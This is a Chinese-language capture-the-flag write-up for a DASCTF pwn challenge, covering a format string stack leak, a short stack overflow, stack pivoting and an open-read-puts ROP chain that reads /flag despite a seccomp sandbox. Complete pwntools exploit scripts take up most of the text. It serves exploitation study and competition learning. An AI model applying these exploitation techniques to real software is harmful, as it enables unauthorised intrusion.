第一次在大型比赛中拿分 蛮开心的 记录一下
checksec看一下保护机制
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)[*] '/home/chen/xihu2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: '/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/'顺便用xclibc改一下libc文件 方便我们本地动态调试(这题调试十分重要)
ida分析一下伪代码
__int64 __fastcall main(__int64 a1, char **a2, char **a3){ char *v3; // rax char buf[8]; // [rsp+0h] [rbp-C0h] BYREF char dest[8]; // [rsp+8h] [rbp-B8h] BYREF char v7[176]; // [rsp+10h] [rbp-B0h] BYREF
sub_401236(a1, a2, a3); if ( !dword_4040AC ) { strcpy(dest, "Hello, "); puts("Welcome to DASCTF message board, please leave your name:"); read(0, buf, 8uLL); dword_4040AC = 1; } v3 = strcat(dest, buf); printf(v3); puts("Now, please say something to DASCTF:"); read(0, v7, 0xC0uLL); puts("Posted Successfully~"); return 0LL;}sub_401236函数清空了缓存区 顺便开了沙箱

onegadget和system(“/bin/sh”)用不了了
接着往下分析
对dword_4040AC进行了if判断 如果为0就进入分支 分支最后将其值设置为1 应该是为了防止修改返回地址为main函数 从而反复利用格式化字符串漏洞
拥有一次向buf写入0x8字节的机会
随后将buf的内容通过strcat函数和dest字符串拼接 赋值给了v3 随后printf(v3)存在格式化字符串漏洞
接着拥有一次栈溢出的机会 但是溢出字节数只有0x10 只够我们覆盖ret addr
由于开启了沙盒 所以这里只能用栈迁移了 往栈上写入rop链 那么需要泄露栈地址和libc基址
那就通过格式化字符串漏洞泄露栈地址
gdb动调看一下偏移

位于rsp+0x70处存放着栈上的地址 那么偏移为6+0x70/8 = 20
泄露出来了也还没有结束 我们需要计算一下我们接下来栈溢出的变量v7在栈上的地址

当前程序中我输入的v7值为aaaaaaaa 而我们泄露出来的栈地址为0x7fffffffdef0
二者地址差值为0xd0 所以v7_addr = stack_addr - 0xd0
from pwn import*io = process("./xihu2")#io = remote("tcp.cloud.dasctf.com",22472)elf = ELF("./xihu2")libc = ELF("./libc.so.6")context.log_level = "debug"context.arch = "amd64"
io.recvuntil("Welcome to DASCTF message board, please leave your name:")payload = b'%20$p'io.send(payload)io.recvuntil("Hello, ")stack_addr = int(io.recv(14),16)success(hex(stack_addr))v7_addr = stack_addr -0xd0接下来就是构造rop链 由于开启了沙盒禁用了execve 所以我们这里用orw的方法泄露flag
但是还需要用到pop rsi pop rdx指令 显然动态链接的情况下 二进制文件中是没有这两条指令的
所以我们还需要泄露libc基址 去libc文件中找到这两条指令
io.recvuntil("Now, please say something to DASCTF:")rdi_addr = 0x401413puts_got = elf.got['puts']back_addr = 0x4012e3puts_plt = 0x4010e0leave_addr = 0x4012e1bss_addr = 0x4040B0+0x50payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt)payload = payload.ljust(0xb0,b'\x00')payload += p64(v7_addr-0x8)+p64(leave_addr)io.send(payload)puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success(hex(puts_addr))libc_addr = puts_addr - (0x7f5551189951-0x7f55510f9000)success(hex(libc_addr))但是这里泄露libc基址的时候 并非泄露出来的是我预想中的puts_addr
而是_IO_do_write+177的地址 不过照样能得到libc基址就行了
接下来就是简单的构造orw链 但是由于main函数一系列的入栈出栈操作 rsp指针的指向并不会跟我们泄露libc基址时一样
所以我们还需要进行一次动态调试 找到我们第二次写入rop链时的栈地址
调试exp: 虽然该exp的orw链偏移是调试后的正确结果 但是未调试时的orw链同样也可以 只是为了找到第二次写入v7的rsp指针地址
from pwn import*io = process("./xihu2")#io = remote("tcp.cloud.dasctf.com",22472)elf = ELF("./xihu2")libc = ELF("./libc.so.6")context.log_level = "debug"context.arch = "amd64"
io.recvuntil("Welcome to DASCTF message board, please leave your name:")payload = b'%20$p'io.send(payload)io.recvuntil("Hello, ")stack_addr = int(io.recv(14),16)success(hex(stack_addr))v7_addr = stack_addr -0xd0io.recvuntil("Now, please say something to DASCTF:")rdi_addr = 0x401413puts_got = elf.got['puts']back_addr = 0x4012e3puts_plt = 0x4010e0leave_addr = 0x4012e1bss_addr = 0x4040B0+0x50payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt)payload = payload.ljust(0xb0,b'\x00')payload += p64(v7_addr-0x8)+p64(leave_addr)io.send(payload)puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success(hex(puts_addr))libc_addr = puts_addr - (0x7f5551189951-0x7f55510f9000)success(hex(libc_addr))io.recvuntil("Now, please say something to DASCTF:")system_addr = libc_addr + libc.sym['system']binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))rsi_addr = libc_addr + 0x2601frdx_addr = libc_addr + 0x142c92open_addr = libc_addr + libc.sym['open']read_addr = libc_addr + libc.sym['read']payload = b'/flag'.ljust(8,b'\x00')+p64(rdi_addr)+p64(stack_addr-0x170)+p64(rsi_addr)+p64(0)+p64(open_addr)payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)+p64(read_addr)payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt)payload = payload.ljust(0xb0,b'\x00')payload += p64(stack_addr-0x170)+p64(leave_addr)gdb.attach(io,'b *0x4013A3')io.send(payload)利用set rsp - 0x30 来不断的抬高栈帧 我们可以找到我们写入的rop链

于是偏移就是当前程序运行泄露的stack_addr - 0x7ffc8bf40650 = 0x170
payload = b'/flag'.ljust(8,b'\x00')+p64(rdi_addr)+p64(stack_addr-0x170)+p64(rsi_addr)+p64(0)+p64(open_addr)payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)+p64(read_addr)payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt)payload = payload.ljust(0xb0,b'\x00')payload += p64(stack_addr-0x170)+p64(leave_addr)还有一点就是注意最后栈迁移的地址是rop链的起始地址减去一个字长
而stack_addr - 0x170是/flag字符串的地址 所以实际上rop链的起始地址是stack_addr - 0x168
所以覆盖old_rbp的地址应为stack_addr - 0x170
完整exp:
from pwn import*io = process("./xihu2")#io = remote("tcp.cloud.dasctf.com",22472)elf = ELF("./xihu2")libc = ELF("./libc.so.6")context.log_level = "debug"context.arch = "amd64"
io.recvuntil("Welcome to DASCTF message board, please leave your name:")payload = b'%20$p'io.send(payload)io.recvuntil("Hello, ")stack_addr = int(io.recv(14),16)success(hex(stack_addr))v7_addr = stack_addr -0xd0io.recvuntil("Now, please say something to DASCTF:")rdi_addr = 0x401413puts_got = elf.got['puts']back_addr = 0x4012e3puts_plt = 0x4010e0leave_addr = 0x4012e1bss_addr = 0x4040B0+0x50payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt)payload = payload.ljust(0xb0,b'\x00')payload += p64(v7_addr-0x8)+p64(leave_addr)io.send(payload)puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success(hex(puts_addr))libc_addr = puts_addr - (0x7f5551189951-0x7f55510f9000)success(hex(libc_addr))io.recvuntil("Now, please say something to DASCTF:")system_addr = libc_addr + libc.sym['system']binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))rsi_addr = libc_addr + 0x2601frdx_addr = libc_addr + 0x142c92open_addr = libc_addr + libc.sym['open']read_addr = libc_addr + libc.sym['read']payload = b'/flag'.ljust(8,b'\x00')+p64(rdi_addr)+p64(stack_addr-0x170)+p64(rsi_addr)+p64(0)+p64(open_addr)payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)+p64(read_addr)payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt)payload = payload.ljust(0xb0,b'\x00')payload += p64(stack_addr-0x170)+p64(leave_addr)io.send(payload)io.recv()io.recv()